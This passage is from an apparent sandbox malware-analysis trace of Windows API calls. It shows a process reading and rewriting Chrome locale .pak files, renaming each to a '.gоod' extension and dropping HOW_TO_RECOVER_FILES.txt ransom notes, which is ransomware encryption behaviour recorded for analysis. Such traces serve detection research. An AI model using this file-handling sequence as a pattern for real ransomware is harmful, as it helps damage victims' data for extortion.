lpOldMode=0x1fbeba90) returned 1 [0139.076] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x0) returned 0x4f [0139.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0139.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0139.076] GetFileType (hFile=0x644) returned 0x1 [0139.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0139.076] GetFileType (hFile=0x644) returned 0x1 [0139.076] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0139.076] ReadFile (in: hFile=0x644, lpBuffer=0x3978a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3978a18*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0139.316] CloseHandle (hObject=0x644) returned 1 [0139.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x0) returned 0x4f [0139.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0139.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.917] GetFileType (hFile=0x650) returned 0x1 [0139.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0139.917] GetFileType (hFile=0x650) returned 0x1 [0139.917] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3ae08 [0139.918] WriteFile (in: hFile=0x650, lpBuffer=0x3a973e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3a973e0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0140.321] CloseHandle (hObject=0x650) returned 1 [0140.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x0) returned 0x4f [0140.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0140.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0140.321] GetFileType (hFile=0x650) returned 0x1 [0140.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0140.321] GetFileType (hFile=0x650) returned 0x1 [0140.321] ReadFile (in: hFile=0x650, lpBuffer=0x3a06108, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a06108*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0140.359] CloseHandle (hObject=0x650) returned 1 [0140.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x0) returned 0x4f [0140.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0140.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0140.359] GetFileType (hFile=0x650) returned 0x1 [0140.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0140.359] GetFileType (hFile=0x650) returned 0x1 [0140.359] WriteFile (in: hFile=0x650, lpBuffer=0x3a04e58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3a04e58*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0140.360] CloseHandle (hObject=0x650) returned 1 [0140.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x0) returned 0x4f [0140.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak.gоod", lpFilePart=0x0) returned 0x54 [0140.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0140.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4fdfbde6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3ae18)) returned 1 [0140.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0140.360] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak.gоod")) returned 1 [0140.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", lpFilePart=0x0) returned 0x4f [0140.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0140.361] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), fInfoLevelId=0x0, lpFileInformation=0x3a82618 | out: lpFileInformation=0x3a82618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51db8134, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af8c)) returned 1 [0140.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0140.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", lpFilePart=0x0) returned 0x4f [0140.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0140.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0140.361] GetFileType (hFile=0x650) returned 0x1 [0140.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0140.361] GetFileType (hFile=0x650) returned 0x1 [0140.361] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0140.361] ReadFile (in: hFile=0x650, lpBuffer=0x3a82a40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3a82a40*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0140.402] CloseHandle (hObject=0x650) returned 1 [0141.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", lpFilePart=0x0) returned 0x4f [0141.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0141.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0141.805] GetFileType (hFile=0x630) returned 0x1 [0141.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0141.805] GetFileType (hFile=0x630) returned 0x1 [0141.805] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3af8c [0141.805] WriteFile (in: hFile=0x630, lpBuffer=0x3a337a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3a337a0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0142.074] CloseHandle (hObject=0x630) returned 1 [0142.075] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", lpFilePart=0x0) returned 0x4f [0142.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0142.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0142.075] GetFileType (hFile=0x630) returned 0x1 [0142.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0142.075] GetFileType (hFile=0x630) returned 0x1 [0142.075] ReadFile (in: hFile=0x630, lpBuffer=0x3a1fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a1fd30*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0144.118] CloseHandle (hObject=0x630) returned 1 [0144.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", lpFilePart=0x0) returned 0x4f [0144.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0144.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0144.119] GetFileType (hFile=0x630) returned 0x1 [0144.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0144.119] GetFileType (hFile=0x630) returned 0x1 [0144.119] WriteFile (in: hFile=0x630, lpBuffer=0x32c72f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x32c72f8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0144.119] CloseHandle (hObject=0x630) returned 1 [0144.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", lpFilePart=0x0) returned 0x4f [0144.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak.gоod", lpFilePart=0x0) returned 0x54 [0144.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0144.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x521e7a4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3af9c)) returned 1 [0144.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0144.120] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak.gоod")) returned 1 [0144.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0144.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebc90) returned 1 [0144.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0144.121] GetFileType (hFile=0x630) returned 0x1 [0144.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc00) returned 1 [0144.121] GetFileType (hFile=0x630) returned 0x1 [0144.121] WriteFile (in: hFile=0x630, lpBuffer=0x367db50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbebd58, lpOverlapped=0x0 | out: lpBuffer=0x367db50*, lpNumberOfBytesWritten=0x1fbebd58*=0x5d0, lpOverlapped=0x0) returned 1 [0144.122] CloseHandle (hObject=0x630) returned 1 [0144.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0144.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader", lpFilePart=0x0) returned 0x49 [0144.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0144.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8efb459a, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x21d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0144.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f321bb0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x291558, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0144.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.123] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0144.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0144.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0144.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0144.124] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader", lpFilePart=0x0) returned 0x49 [0144.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0144.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8efb459a, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x21d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0144.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f321bb0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x291558, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0144.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f321bb0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x291558, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 0 [0144.125] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0144.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0144.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0144.125] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x62 [0144.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebc90) returned 1 [0144.125] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\swiftshader\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0144.127] GetFileType (hFile=0x630) returned 0x1 [0144.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc00) returned 1 [0144.127] GetFileType (hFile=0x630) returned 0x1 [0144.127] WriteFile (in: hFile=0x630, lpBuffer=0x368f998*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbebd58, lpOverlapped=0x0 | out: lpBuffer=0x368f998*, lpNumberOfBytesWritten=0x1fbebd58*=0x5d0, lpOverlapped=0x0) returned 1 [0144.128] CloseHandle (hObject=0x630) returned 1 